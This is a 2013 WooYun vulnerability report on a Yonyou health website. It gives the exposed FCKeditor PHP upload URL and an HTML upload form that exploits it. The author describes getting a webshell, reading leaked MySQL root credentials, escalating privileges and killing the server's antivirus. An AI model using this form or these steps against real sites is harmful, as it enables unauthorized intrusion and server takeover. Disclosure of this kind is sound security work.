当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-046273

漏洞标题：用友软件某站Getshell#Mysql Root权限可提权

相关厂商：用友软件

漏洞作者： U神

提交时间：2013-12-18 10:56

修复时间：2013-12-23 10:57

公开时间：2013-12-23 10:57

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-12-18： 细节已通知厂商并且等待厂商处理中
2013-12-23： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

http://health.yonyou.com/admin/FCKeditor/editor/filemanager/upload/php/upload.php


这个漏洞我就不多说了，说多了都是泪。
本地构造

<form id="frmUpload" enctype="multipart/form-data" action="http://health.yonyou.com/admin/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">
Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>

漏洞证明：

获得webshell：

01.jpg


菜刀连：

02.jpg


数据库是root权限的，很可笑，在这个文档暴露了数据库信息：

http://health.yonyou.com/readme.txt


03.jpg


04.jpg


数据库：

07.jpg


好吧，由于mysql是root权限，那么直接提权，不好意思把你们的360安全卫士结束掉了~

08.jpg


06.jpg


3389是内网的需要转发，由于这里网速慢，我就不提权了~
这个权限很大的，杀软随便结束的！

修复方案：

版权声明：转载请注明来源 U神@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-12-23 10:57

厂商回复：

最新状态：

暂无